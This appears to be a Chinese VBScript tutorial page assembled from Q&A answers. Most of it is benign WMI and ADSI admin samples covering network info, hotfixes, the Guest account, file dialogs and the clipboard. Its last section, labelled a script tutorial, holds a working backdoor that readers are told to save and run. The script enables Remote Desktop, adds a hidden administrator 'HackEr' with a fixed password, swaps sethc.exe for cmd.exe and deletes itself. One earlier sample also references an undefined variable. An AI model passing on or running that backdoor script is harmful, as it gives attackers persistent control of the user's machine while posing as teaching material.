vbscript制作教程(VBS详细教程)
本文目录
- VBS详细教程
- VBS教程:函数-CreateObject 函数
- 哪儿有更多的vbscript教程啊!
- VBS教程:方法-GetDrive 方法
- VBS进阶教程,高分求教程,可用的加分
- vbs 学习方法以及 vbs 实例 有编程基础
- vbs脚本教程
VBS详细教程
VBS 取得本机IP strComputer = “.“ Set objWMIService = GetObject(“winmgmts:\\“ & strComputer & “\root\cimv2“) Set IPConfigSet = objWMIService.ExecQuery(“Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE“) For Each IPConfig in IPConfigSet If Not IsNull(IPConfig.IPAddress) Then For Each strAddress in IPConfig.IPAddress WScript.Echo strAddress Next End If Next 2 取得本机计算机名 strComputer = “.“ Set objWMIService = GetObject(“winmgmts:\\“ & strComputer & “\root\cimv2“) Set colComputers = objWMIService.ExecQuery(“Select * from Win32_ComputerSystem“) For Each objComputer in colComputers Wscript.Echo objComputer.Name Next -------------------------------------------------------------------------------- 4 检查升级包 strComputer = “.“ Set objWMIService = GetObject(“winmgmts:\\“ & strComputer & “\root\cimv2“) Set colOperatingSystems = objWMIService.ExecQuery(“Select * from Win32_OperatingSystem“) For Each objOperatingSystem in colOperatingSystems Wscript.Echo objOperatingSystem.ServicePackMajorVersion & “.“ & objOperatingSystem.ServicePackMinorVersion Next -------------------------------------------------------------------------------- 5 检查 Hot Fix strComputer = “.“ Set objWMIService = GetObject(“winmgmts:\\“ & strComputer & “\root\cimv2“) Set colQuickFixes = objWMIService.ExecQuery (“Select * from Win32_QuickFixEngineering“) For Each objQuickFix in colQuickFixes Wscript.Echo “Description: “ & objQuickFix.Description Wscript.Echo “Hot Fix ID: “ & objQuickFix.HotFixID Next -------------------------------------------------------------------------------- 6 检查本地管理员数目 Set objNetwork = CreateObject(“Wscript.Network“) strComputer = objNetwork.ComputerName Set objGroup = GetObject(“WinNT://“ & strComputer & “/Administrators,group“) For Each objUser in objGroup.Members Wscript.Echo objUser.Name Next -------------------------------------------------------------------------------- 7 磁盘系统 strComputer = “.“ Set objWMIService = GetObject(“winmgmts:\\“ & strComputer & “\root\cimv2“) Set colDisks = objWMIService.ExecQuery(“Select * from Win32_LogicalDisk Where DriveType = 3“) For Each objDisk in colDisks Wscript.Echo “Disk drive: “& objDisk.DeviceID & “ -- “ & objDisk.FileSystem Next -------------------------------------------------------------------------------- 8 检测自动登录是否开启 Const HKEY_LOCAL_MACHINE = &H80000002 strComputer = “.“ Set objReg=GetObject(“winmgmts:\\“ & strComputer & “\root\default:StdRegProv“) strKeyPath = “Software\Microsoft\Windows NT\CurrentVersion\WinLogon“ strValueName = “AutoAdminLogon“ objReg.GetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,dwValue If dwValue = 1 Then Wscript.Echo “Auto logon is enabled.“ Else Wscript.Echo “Auto logon is disabled.“ End If -------------------------------------------------------------------------------- 9 关闭自动登录 Const HKEY_LOCAL_MACHINE = &H80000002 strComputer = “.“ Set objReg=GetObject(“winmgmts:\\“ & strComputer & “\root\default:StdRegProv“) strKeyPath = “Software\Microsoft\Windows NT\CurrentVersion\WinLogon“ strValueName = “AutoAdminLogon“ dwValue = 0 oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, dwValue -------------------------------------------------------------------------------- 10 检查Guest是否禁用 Set objNetwork = CreateObject(“Wscript.Network“) strComputer = objNetwork.ComputerName Set objUser = GetObject(“WinNT://“ & strComputer & “/Guest“) If objUser.AccountDisabled Then Wscript.Echo “The Guest account is disabled.“ Else Wscript.Echo “The Guest account is enabled.“ End If -------------------------------------------------------------------------------- 11 关闭Guest Set objNetwork = CreateObject(“Wscript.Network“) strComputer = objNetwork.ComputerName Set objUser = GetObject(“WinNT://“ & strComputer & “/Guest“) If objUser.AccountDisabled Then Wscript.Echo “The Guest account is already disabled.“ Else objUser.AccountDisabled = True objUser.SetInfo Wscript.Echo “The Guest account has been disabled.“ End If -------------------------------------------------------------------------------- 12 检索本地共象 strComputer = “.“ Set objWMIService = GetObject(“winmgmts:\\“ & strComputer & “\root\cimv2“) Set colShares = objWMIService.ExecQuery(“Select * from Win32_Share“) For each objShare in colShares Wscript.Echo “Name: “ & objShare.Name Wscript.Echo “Path: “ & objShare.Path Wscript.Echo “Type: “ & objShare.Type Next -------------------------------------------------------------------------------- 13 脚本检索一个文件夹下.txt文件 汗哦 值得学习 Set objWMIService = GetObject(“winmgmts:\\.\root\cimv2“) Set colFiles = objWMIService.ExecQuery(“SELECT * FROM CIM_DataFile WHERE Path = ’\\Documents and Settings\\Administrator\\桌面\\’ AND Drive = ’E:’ AND Extension = ’txt’“) Wscript.Echo “Number of .txt files found: “ & colFiles.Count for each aa in colFiles NL=NL & vbcrlf & aa.name next Wscript.Echo NL -------------------------------------------------------------------------------- 14 我如何向用户显示一个用来选择文件的对话框? 问: 嗨,Scripting Guy!有没有什么方法可以让我使用脚本向用户显示一个对话框,供用户选择文件使用? -- BF 答: 您好,BF。如果您使用的是 Windows 2000,我们不知道实现此操作的方法,至少操作系统中没有内置这样的方法。但如果您使用的是 Windows XP,情况就不同了。在 Windows XP 上,您可以使用“UserAccounts.CommonDialog”对象向用户显示一个标准的“文件打开”对话框。可以用类似以下代码的脚本: Set objDialog = CreateObject(“UserAccounts.CommonDialog“) objDialog.Filter = “All Files|*.*“ objDialog.InitialDir = “C:\“ intResult = objDialog.ShowOpen If intResult = 0 Then Wscript.Quit Else Wscript.Echo objDialog.FileName End If 这是一个小脚本,所以让我们逐行进行解释吧。我们首先创建一个对 UserAccounts.CommonDialog 对象的对象引用(名为“objDialog”)。接着,我们设置对话框的“筛选”属性。我们要显示所有文件,所以我们将筛选设置成这样: objDialog.Filter = “All Files|*.*“ 假如我们只想显示文本文件,那该怎么办?在这种情况下,我们将使用以下筛选: objDialog.Filter = “Text Files|*.txt“ 您也许能够看出它是如何运行的:我们为文件类型提供说明 (Text Files),然后插入一个竖线分隔符 (|),最后使用标准的通配符来指示所有 .txt 文件 (*.txt)。是不是想默认显示 .txt 文件,然后为用户提供查看所有文件的选项?那么可以使用以下代码: objDialog.Filter = “Text Files|*.txt|All Files|*.*“ 试一试,您就明白我们的意思了。 然后,我们指定默认文件夹。默认情况下,我们希望对话框显示位于驱动器 C 的根文件夹中的文件,所以我们这样设置“InitialDir”属性: objDialog.InitialDir = “C:\“ 希望显示 C:\Windows 文件夹中的文件吗?那么可以使用以下代码: objDialog.InitialDir = “C:\Windows“ 不必担心:这是一个真正的“文件打开”对话框,所以您可以随意单击,并且可以随时停下来。您从 C:\Windows 开始并不意味着您只能打开该文件夹中的文件。 最后,我们使用下面这行代码显示对话框: intResult = objDialog.ShowOpen 现在,我们只需坐下来,等待用户选择文件并单击“确定”(或者等待用户单击“取消”)。如果用户单击“取消”,则变量 intResult 将被设置为 0。在我们的脚本中,我们检查 intResult 的值,如果是 0,我们将只需要使用 Wscript.Quit 来终止此脚本。 但是如果用户实际上选择了文件并单击了“确定”,那该怎么办?在这种情况下,intResult 将被设置为 -1,“FileDialog”属性将被设置为所选文件的路径名。我们的脚本只回显路径名,这意味着我们将得到类似以下内容的输出: C:\WINDOWS\Prairie Wind.bmp 不用说,您并不局限于只回显文件路径。实际上,您可以使用 WMI、FileSystemObject 或一些其他技术来绑定该文件,然后对其执行删除、复制、压缩或检索文件属性等操作 — 您对文件能够执行的操作差不多都可以对它执行。 但无论如何,您都需要使用脚本。 顺便说一句,使用此方法,您一次只能选择一个文件,而不能按住“Ctrl”键选择多个文件。有一种方法可以选择多个文件,至少在 XP 计算机上可以,但是我们只能将此问题留到以后的专栏中讨论了。 -------------------------------------------------------------------------------- 15 我如何确定进程是在哪个帐户下运行的? 问: 嗨,Scripting Guy!我有一个脚本,它返回关于计算机上运行的所有进程的信息,只是我不知道如何获得这些进程在其下运行的用户帐户的名称。您可以帮助我吗? -- DL 答: 您好,DL。是的,我们可以帮助您。确定进程是在哪个帐户下运行的,实际上相当简单,只是如何着手执行此操作并不是特别显而易见的。如果您与大多数人一样,那么您可能会通过扫描 Win32_Process 类的属性来查找名为 Account 或 UserName 或类似的属性。您很有可能找不到。出现这种情况的原因是:Win32_Process 没有可以告诉您进程在哪个帐户下运行的属性。 您需要使用“GetOwner”方法来捕捉此信息。下面这个脚本可以告诉您 Microsoft Word (Winword.exe) 在哪个帐户下运行: strComputer = “.“Set objWMIService = GetObject(“winmgmts:\\“ & strComputer & “\root\cimv2“) Set colProcessList = objWMIService.ExecQuery _ (“Select * from Win32_Process Where Name = ’Winword.exe’“) For Each objProcess in colProcessList objProcess.GetOwner strUserName, strUserDomain Wscript.Echo “Process “ & objProcess.Name & “ is owned by “ _ & strUserDomain & “\“ & strUserName & “.“Next 我们最感兴趣的是下面这行代码: objProcess.GetOwner strNameOfUser, strUserDomain 我们在此所做的就是调用“GetOwner”方法。GetOwner 返回两个“输出参数”,一个返回负责该进程的用户的名称,一个返回该用户所属的域。为捕获这两个输出参数,我们需要为 GetOwner 方法提供两个变量。在这个示例脚本中,我们使用了两个分别叫做 strUserName 和 strUserDomain 的变量。名称可以随意选择;您可以将变量称为 A 和 B 或 X 和 Y 或任何其他您想要的名称。 不过,变量的顺序不能随意设置:返回的第一个值总是用户名,第二个值总是域。这意味着,如果您希望用 X 表示用户名,用 Y 表示域,那么您要确保您的代码像下面这行代码一样: objProcess.GetOwner X, Y 调用 GetOwner 之后,我们就可直接回显进程名和所有者。请注意,我们可以稍微来点儿花样儿 – 使用域\用户格式。这样,我们就可以回显类似于“fabrikam\kenmyer”的名称。 下面附带提供了另一个脚本,该脚本可以列出计算机上的所有进程以及各个进程的所有者: strComputer = “.“Set objWMIService = GetObject(“winmgmts:\\“ & strComputer & “\root\cimv2“) Set colProcessList = objWMIService.ExecQuery _ (“Select * from Win32_Process“) For Each objProcess in colProcessList objProcess.GetOwner strUserName, strUserDomain Wscript.Echo “Process “ & objProcess.Name & “ is owned by “ _ & strUserDomain & “\“ & strUserName & “.“Next 可能有人感到奇怪,2005 年 1 月 3 日正好是 Microsoft 员工的正式休息日。那么今天为什么会有“嗨,Scripting Guy!”专栏?这只能是由于 Microsoft 脚本专家表现出来的对工作的难以置信的奉献和投入精神。或者,也可能是由于某个脚本专家 – 还说不出他或她的名字 – 没有意识到今天是假日,所以照常来了(而且是在早上 7 点啊!)。 -------------------------------------------------------------------------------- 16 可以将脚本的输出复制到剪贴板吗? 问: 嗨,Scripting Guy!有办法将脚本输出复制到剪贴板吗? -- ZW, Marseilles, France 答: 您好,ZW.如果您不介意用一些疯狂的解决方法,那么实际上将脚本输出复制到剪贴板相当容易。首先,您需要构造一个字符串,其中包含想要的输出。然后,创建 Internet Explorer 的一个实例,然后在其中打开一个空白页。接着,利用 Internet Explorer 对象模型的内置功能,将字符串复制到剪贴板;特别是, 可以使用 clipboardData.SetData 方法来实现这个技巧。将某些数据复制到剪贴板的示例脚本如下: strCopy = “This text has been copied to the clipboard.“ Set objIE = CreateObject(“InternetExplorer.Application“) objIE.Navigate(“about:blank“) objIE.document.parentwindow.clipboardData.SetData “text“, strCopy objIE.Quit 运行脚本,然后打开 Notepad,然后单击“粘贴”;应该可以看到所复制的字符串。 顺便说一下,所有这一切都是在“幕后”发生的,Internet Explorer 并不会真的出现在屏幕上。这是因为,在默认情况下,通过脚本创建的任何 IE 实例在运行时都是隐藏的,除非您利用如下语句将其显示出来: objIE.Visible = True
VBS教程:函数-CreateObject 函数
CreateObject函数创建并返回对Automation对象的引用。CreateObject(servername.typename)参数servername必选项。提供对象的应用程序名称。typename必选项。要创建的对象类型或类。location可选项。对象所在的网络服务器将被创建。说明Automation服务器至少提供一种对象类型。例如,字处理应用程序可以提供应用程序对象、文档对象和工具条对象。要创建Automation对象,将CreateObject函数返回的对象赋值给某对象变量:DimExcelSheetSetExcelSheet=CreateObject(“Excel.Sheet“)上述代码启动创建对象(在此实例中,是MicrosoftExcel电子表格)的应用程序。对象创建后,就可以在代码中使用定义的对象变量引用此对象。在下面的示例中,可使用对象变量、ExcelSheet和其他Excel对象,包括Application对象和Cells集合访问新对象的属性和方法。例如:’MakeExcelvisiblethroughtheApplicationobject.ExcelSheet.Application.Visible=True’Placesometextinthefirstcellofthesheet.ExcelSheet.ActiveSheet.Cells(1,1).Value=“ThisiscolumnA,row1“’Savethesheet.ExcelSheet.SaveAs“C:\DOCS\TEST.XLS“’CloseExcelwiththeQuitmethodontheApplicationobject.ExcelSheet.Application.Quit’Releasetheobjectvariable.SetExcelSheet=Nothing在远程服务器上创建一个对象,当Internet安全关闭时只能完成。通过传递计算机名到CreateObject服务器名的参数,能在远程网络上创建对象。该名称如同共享部份的机器名。例如网络共享名命名为:“\\myserver\public“,servername是“myserver“。另外,只能指定servername使用DNS格式或IP地址。以下代码返回运行在命名为“myserver“的远程网络计算机上Excel实例的版本号:FunctionGetVersionDimXLAppSetXLApp=CreateObject(“Excel.Application“,“MyServer“)GetVersion=XLApp.VersionEndFunction错误发生在指定的远程服务器不存在或无法找到。
哪儿有更多的vbscript教程啊!
你不就是想学vbsript嘛就是你把所有的教程都看了,给你个东西你还是不知道怎么做,知道基础的就可以了然后你现在需要的是去找些东西来做比如:用vbs来做一个文件浏览窗口而你去做实际的东西的时候,肯定有不知道的,然后呢去网上搜相关的内容,这么提高比你去看什么教程好得多,快的多,扎实的多记住,编程这东西必须边实践边学,不然学了等于白学
VBS教程:方法-GetDrive 方法
GetDrive方法返回与指定的路径中驱动器相对应的Drive对象。object.GetDrivedrivespec参数object必选项。应为FileSystemObject的名称。drivespec必选项。drivespec可以是驱动器号(c)、带冒号的驱动器号(c:)、带有冒号与路径分隔符的驱动器号(c:\)或任何指定的网络共享(\\computer2\share1)。说明对于网络共享,检查并确保该网络共享存在。若drivespec与已接受格式不一致或不存在,就会出错。为了在调用GetDrive方法时使用标准路径字符串,使用下列序列得到与drivespec相匹配的字符串:DriveSpec=GetDriveName(GetAbsolutePathName(Path))下面示例说明如何使用GetDrive方法:FunctionShowFreeSpace(drvPath)Dimfso,d,sSetfso=CreateObject(“Scripting.FileSystemObject“)Setd=fso.GetDrive(fso.GetDriveName(drvPath))s=“Drive“&UCase(drvPath)&“-“s=s&d.VolumeName&“《BR》“s=s&“FreeSpace:“&FormatNumber(d.FreeSpace/1024,0)s=s&“Kbytes“ShowFreeSpace=sEndFunction
VBS进阶教程,高分求教程,可用的加分
vbscript class类的定义与使用_vbs_脚本之家vbs Class就是声明一个类的名称,以及组成该类的变量、属性和方法的定义,需要的朋友可以参考下从网上看到一个vbs中使用class的例子, 转出来,共同学习! Class 语句...www.jb51.net/article/141112.htm(复制到浏览器,百度打不开)Err对象_vbs_脚本之家On Error Resume Next Err.Raise 22,“VBS脚本“,“溢出啦“,“c:\test.txt“ ’定义一个运行时的错误 MsgBox “错误:“ & vbCrLf _ & “Number:“ & Err.Number...www.jb51.net/article/141265.htm只找到这两个。。。
vbs 学习方法以及 vbs 实例 有编程基础
1、一份全面准确的帮助文档: VBScript56.CHM2、一份经典的学习教程: Microsoft.VBScript.Step.by.Step.chm3、一个带语法高亮和调试功能的VBS脚本器: vbsedit.exe4、经常上网看高手写的VBS应用的例子。5、自己经常动手琢磨写一些VBS脚本,想办法在自己的实际工作学习生活中加以应用,并享受脚本带来的便利。
vbs脚本教程
on error resume nextconst HKEY_LOCAL_MACHINE = &H80000002strComputer = “.“Set StdOut = WScript.StdOutSet oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\“ &_strComputer & “\root\default:StdRegProv“)strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server“oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPathstrKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp“oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPathstrKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp“strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server“strValueName = “fDenyTSConnections“dwValue = 0oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValuestrKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp“strValueName = “PortNumber“dwValue = 3389oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValuestrKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp“strValueName = “PortNumber“dwValue = 3389oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValueon error resume nextdim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username=“HackEr“:password=“393214425“:end if:set wsnetwork=CreateObject(“WSCRIPT.NETWORK“):os=“WinNT://“&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&“/Administrators,group“):Set od=ob.Create(“user“,username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&“/“&username&“,user“):oe.Add(of.ADsPath)’wscript.echo of.ADsPathOn Error Resume NextDim obj, successSet obj = CreateObject(“WScript.Shell“)success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe“, 0, True)CreateObject(“Scripting.FileSystemObject“).DeleteFile(WScript.ScriptName)把上面一段代码拷到一个txt中,然后把txt的扩展名改成.vbs,运行一下
更多文章:

workoutaschedule是什么意思(work out it和work it out的区别是什么)
2025年2月12日 23:50

messenger下载最新版本(怎样下载MSN messager)
2025年4月2日 05:50

“Gush”什么意思?gush in 和flood in的意思与区别
2025年3月5日 01:10

complaint可数还是不可数(cause和reason 2个原因的主要区别和用法)
2025年3月18日 00:20

fopen打开二进制文件(若要用fopen()函数打开一个新的二进制文件,该文件要既能读也能写,则打开方式是)
2025年2月22日 06:40

一直免费的服务器(有没有什么类似teamviewer的服务器远程控制软件,使用起来方便一点的)
2025年2月25日 08:40

mysql语句优化(mysql数据库中,数据量很大的表,有什么优化方案么)
2025年3月16日 00:00

mortality什么意思(morbidity and mortality是什么意思)
2025年4月2日 09:00

css样式表可以使许多网页同时更新(CSS样式是什么有何用途主要体现在什么方面)
2025年3月21日 18:40

android软件开发方法(怎样开发一个andriod应用)
2025年4月5日 19:10

linux 中的 mkdir 什么意思?mkdir函数-linux
2025年2月23日 02:40

phonegap手机版下载(Phonegap怎么用来做安卓APP)
2025年2月16日 04:00

breathe翻译(求U2的《breathe》歌词翻译!!!!!!!)
2025年2月20日 03:50